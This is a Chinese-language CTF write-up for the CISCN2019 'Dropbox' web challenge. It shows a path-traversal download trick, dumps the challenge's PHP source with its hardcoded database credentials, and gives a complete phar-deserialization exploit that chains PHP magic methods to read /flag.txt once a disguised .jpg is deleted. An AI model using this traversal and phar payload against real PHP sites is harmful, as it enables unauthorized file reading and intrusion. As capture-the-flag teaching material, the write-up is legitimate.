做题 登录页面,尝试注册,然后登录,发现可以上传文件但是限制图片GIF,先上传正常的,发现可以下载和删除。猜测任意文件下载。抓包改filename,试了发现
filename=../../index.php读取源码(删除HTML部分)
<?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } ?> <?php include "class.php" ;$a = new FileList ($_SESSION ['sandbox' ]);$a ->Name ();$a ->Size ();?>
class.php
<?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
一共可以下载upload.php, register.php, login.php, download.php, delete.php,class.php,一般先审计config.php、class.php或function.php这些。
审计,发现与数据库交互的语句都进行了参数绑定。所以SQL注入就很难了。
download.php中filename过滤了flag,那可以猜要读取文件名有flag
然后看到了一个__call 魔术方法,暗示要用phar。
知识点 phar 流包装一种,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。
phar扩展识别phar文件的标志:必须以__HALT_COMPILER();?>来结尾
phar本质是压缩文件,将文件的信息压缩在一起,而对用户自定义的meta-data部分会进行序列化储存。有序列化就有反序列化。php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。这些函数包含file_put_contents,file_get_contents,fopen,unlink等
利用条件 1、phar文件要能够上传到服务器端。 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
2、要有可用的魔术方法作为“跳板”。 3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
审计 大概就是class.php里面的File类有close(),return file_get_contents($this->filename);,我们让filename=/flag.txt,然后用user类destruct默认调用close方法。但是没有回显。
function __all($func, $args)
public function __call($func, $args) { array_push($this->funcs, $func);#将func函数存到$this->funcs数组 foreach ($this->files as $file) { #file就是每个我们上传文件的File对象, $this->files是一个数组,construct时候已经存入了我们的file对象。 $this->results[$file->name()][$func] = $file->$func();#二维数组,一维键名是文件名,二维键名是函数名,存储函数执行的结果。 } }
function __destruct()
foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; }
foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
echo table 最后打印出来全部数据
就是说call方法遍历我们上传的文件,存入二维数组result中。
然后destruct方法则是输出打印二维数组result中的信息。
那么我们就可以将我们要读取的flag.txt的函数存入二维数组。利用call方法,即访问不存在的函数。
所以综上:File类有close(),return file_get_contents($this->filename);,我们让filename=/flag.txt,让user类的$this->db = new FileList(),则会调用不存在的close,触发__call()将内容写入二维数组,最后destruct输出内容。
那如何将内容写入二维数组呢。用FileList的construct函数,自己写进去。
exp <?php class User { public $db ; } class File { public $filename ; } class FileList { private $files ; public function __construct ( ) { $file = new File (); $file ->filename = '/flag.txt' ; $this ->files = array ($file ); } } @unlink ("van.phar" ); $phar = new Phar ("van.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new User ();$o ->db = new FileList ();$phar ->setMetadata ($o ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering ();?>
之后会生成一个文件,将文件上传然后抓包修改后缀为jpg,再点删除用burp拦截,改filename=phar://phar.jpg,就可以得到flag
注意 :将php.ini文件中的phar.readonly 必须设置为 0 ,记得把前面的注释符 ; 去掉。
思考 为什么没回显 因为只是return而没有输出出来
为什么要点删除才触发
因为在因为delete.php有detele()对应File对象的detele(),unlink可以触发phar
public function detele ( ) { unlink ($this ->filename); }
而且download.php中的ini_setini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);这个函数执行后,我们通过Web只能访问当前目录、/etc和/tmp三个目录,所以只能在delete.php中利用payload,而不是download.php,否则访问不到沙箱内的上传目录。
猜测flag的名字
参考 https://www.jianshu.com/p/5b91e0b7f3ac
https://blog.csdn.net/weixin_45642610/article/details/118559247
https://mayi077.gitee.io/2020/02/03/CISCN2019-%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA-Day1-Web1-Dropbox/
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://xz.aliyun.com/t/2715
https://paper.seebug.org/680/